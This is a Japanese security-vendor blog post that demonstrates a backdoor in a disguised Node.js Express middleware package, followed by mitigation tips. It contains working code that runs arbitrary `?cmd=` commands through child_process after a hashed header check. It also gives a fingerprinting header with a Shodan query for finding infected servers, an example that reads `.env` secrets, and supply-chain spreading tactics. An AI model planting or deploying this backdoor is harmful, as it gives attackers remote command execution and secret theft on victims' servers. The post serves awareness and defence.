Skip to main content

バックドアとは?Node.jsで作ってみる

prioritize vulns

2020年3月19日

0 分で読めます

コードにOSインジェクションを実行できるバックドアが仕込まれているのは、考えうる中でも特に恐ろしい事態の一つです。現在、npmでは120万を超えるパッケージが公開されています。この3年間、依存関係はサイバー犯罪者にとって格好の標的になってきました。タイポスクワッティング攻撃やevent-streamのインシデントなど、新たな攻撃が次々と発生しており、より強固なコミュニティを築かなければ、エコシステムは非常に脆弱になりうることが明らかになっています。この記事では、いくつかの手法を組み合わせて、エコシステムに悪意あるバックドアを仕込む方法を紹介します。

バックドアとは?

サイバーセキュリティの分野で、バックドアとは、正規ユーザーや不正ユーザーが通常のセキュリティ対策を回避し、コンピューターシステム、ネットワーク、またはソフトウェアアプリケーションで高い権限(いわゆるroot権限)を得るためのあらゆる手段を指します。侵入後、サイバー犯罪者はバックドアを使って個人情報や金融データを盗んだり、マルウェアを追加でインストールしたり、デバイスを乗っ取ったりできます。

Malwarebytes

バックドアは主に2つの要素で構成されます。被害者のシステムに注入されて実行されるマルウェアと、攻撃者がコマンドを送信してリモートホストを制御できるようにする、開かれた通信チャネルです。

バックドアをインストールした後、標的のマシン上で実行するための特定のコマンドを送信する必要があります。こうしたコマンドは、環境変数などの機密情報を外部に持ち出したり、データベースインジェクションを実行したりできます。さらに、感染したNodeアプリケーションの実行権限によっては、マシンやネットワーク上の他のプロセスを変更することも可能です。

この攻撃を簡略化して実装するため、コード実行にはコアライブラリのchild_processを、通信チャネルにはHTTPサーバーを使用します。この場合、最も広く使われているフレームワークであるExpressの使用をおすすめしますが、他のフレームワークにも応用できます。

既知のバックドアがないか、プロジェクトをテストすることをお忘れなく!

child_processはどのように役立つのか?

Node.jsのコアモジュールであるchild_processを使って、子プロセスを実行できます。たとえばpwdやping snyk.ioのようなコマンド(この入力をstdinと呼びます)を実行し、その応答(この出力をstdoutと呼びます)やエラー(これらをstderrと呼びます)をメインプログラムに組み込む、という考え方です。

子プロセスを実行する方法はいくつかあります。この攻撃で最も簡単なのはexecです。プロセスが終了すると、cat passwords.txtのようなコマンドについて、stdoutとstderrを受け取るコールバックを実行します。execはping snyk.ioのような長時間のタスクには最適ではない点に注意してください。

const  {exec} = require('child_process');

exec('cat .env', (err, stdout, stderr) => {
  if(err) throw err
  if(stderr) return console.log(`Execution error: ${stderr}`)
  console.log(`Env file content:  ${stdout}`)
})

このexecをHTTPサーバーに接続するには?

Chrome以外のユーザーをbrowsehappy.comのような別のURLにリダイレクトする、単純で一見無害なミドルウェアパッケージを開発しました。このミドルウェアに悪意あるペイロードを含めます。

このパッケージのコードは、次のようになります。

const useragent = require('useragent');

module.exports = () => (req, res, next) => {   
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

被害者側で必要なのは、browser-redirectライブラリをインストールし、通常のミドルウェアと同じようにExpressアプリに追加することだけです。

const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")

const app = express();

app.use(browserRedirect())
app.use(helmet())

app.get("/", (req, res)=>{
    res.send("Hello Chrome User!")
})

app.listen(8080)

この場合、Helmetを使っていてもアプリケーションは脆弱なままである点に注意してください。

悪意あるペイロードの実装方法

実装はとても簡単です。

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');

module.exports = () => (req, res, next) => {
    // Evil Payload
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
        return exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    }
    // Expected code
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

バックドアはどのように機能するのでしょうか?理解すべき課題は3つあります。

  1. 他のサイバー犯罪者に自分のバックドアを使われないよう、自分自身を認証する方法が必要です。この例では、md5のハッシュを使用します(p@ssw0rd1234という文字列から生成されるハッシュはc4fbb68607bcbb25407e0362dab0b2eaです)。認証の検証には、このハッシュをknock_kockヘッダーの値として指定します。

  2. 悪意あるコードを含むサーバーを特定する方法が必要です。指標を収集するのは避けたかったため、サーバーのレスポンスにContent-Sec-Policyというヘッダーを追加します。Content-security-policyによく似ていますが、同じではありません。ここでもタイポスクワッティング攻撃を利用しています。このクエリを使えば、Shodanから標的を検索できます:/search?query=Content-Sec-Policy%3A+default-src+%27self%27

  3. クエリパラメーター?cmdを使えば、感染したサーバーの任意のルートでクエリを実行できます。たとえばvictim.com/?cmd=whoamiや?cmd=cat .envを指定すると、すべての情報がJSON形式で返されます。

悪意あるペイロードの準備ができたら、そのパッケージを効果的に配布する方法を考える必要があります。

拡散の経路

最初のステップは、悪意あるパッケージをインターネットに公開することです。npm install browser-redirect@1.0.2を使って、npmに悪意あるパッケージを公開しました。しかし、GitHubでは悪意あるコードを確認できません。Master Branchとrelease 1.0.2を見てください。これは、npmがGitHubなどのソース管理リポジトリとの照合を行わないためです。

現時点では、悪意あるパッケージを他の人に宣伝してインストールしてもらう必要があるため、このバックドアがエコシステム内に広がる可能性は非常に低いでしょう。

他のパッケージの依存関係に悪意あるモジュールを含める方法もあります。攻撃者が他の主要パッケージの公開権限を持っていれば、悪意あるパッケージを直接依存関係に加えた新しいバージョンを公開できます(event-streamの事後分析を確認してください)。あるいは、ロックファイルに悪意あるリソースを含めたプルリクエストをプロジェクトに送る方法もあります。これは、ロックファイルのセキュリティに関する調査で説明されたpackage-lock内の依存関係のケースです。

もう一つ考慮すべき重要な点は、攻撃者が関係するメンテナーの認証情報(ユーザー名とパスワード)を入手できるかどうかです。入手できれば、人気パッケージの新しいバージョンを簡単に公開できます。これは過去にeslintで起きたことです。

メンテナーが認証や公開に2FAを使用していても、リスクは残ります。新しいバージョンのデプロイにCIを使う場合、公開時の2FAを無効にする必要があるからです。そのため、攻撃者がCI用の有効なnpmトークンを盗めれば(共有ログや一般公開されたログ、データ漏えいなどから)、悪意あるコードを含む新しいリリースを公開できます。

npmは、パッケージがTORのIPアドレスから公開されたか、2FAが使用されたかを確認できる新しいAPI(プライベートベータ版)を公開したことに注意してください。

さらに、攻撃者は悪意あるペイロードを、任意のnpmパッケージのpre-installスクリプトやpost-installスクリプトとして動作するよう調整できます。npmのパッケージにはライフサイクルフックがあり、デフォルトでさまざまなタイミングにマシン上でコードを実行できます。たとえば、ブラウザーテスト用パッケージのPuppeteerは、このライフサイクルフックを使ってホストマシンにChromiumをインストールします。Ryan Dahlは、JSConf EU 2018でこうしたセキュリティ上の欠陥についてすでに説明しています。この攻撃経路をはじめとする多くの脅威を防ぐには、Node.jsのセキュリティを強化する必要があります。

次の点を覚えておきましょう:

  • 脆弱性の78%は間接依存関係で見つかるため、修正が複雑になる

  • 2年間で、アプリケーションライブラリの脆弱性が88%増加

  • 81%が開発者はセキュリティに責任を持つべきだと考えている一方、十分なツールや知識が整っていない

出典:オープンソースセキュリティの現状 – 2019新しい オープンソースセキュリティ レポート(2020年版)をご覧ください

この攻撃を軽減するには?

依存関係を常に管理するのは簡単ではありませんが、役立つ方法をいくつかご紹介します。

  • よく知られており、適切にメンテナンスされているライブラリを使う。

  • コミュニティに参加し、コードの貢献やプロジェクトおよびメンテナーへの資金援助を通じて、メンテナーを支援する。

  • NQPを使って、プロジェクトに新しいパッケージを追加する前に評価する。

  • Snykを使って、新たな脆弱性を把握し、プロジェクトを監視する。

  • 依存関係のコードは、GitHub、Bitbucket、その他のバージョン管理システムだけでなく、npmからも確認する。

  • 既知のバックドアがないか、プロジェクトをテストする。

過去のインシデントから学ぶ

今すぐSnykの無料アカウントに登録して、既知のバックドアがないかプロジェクトをテストしましょう。

Capture the Flagを始めよう

オンデマンドのバーチャル入門ワークショップを見て、Capture the Flagの課題の解き方を学びましょう。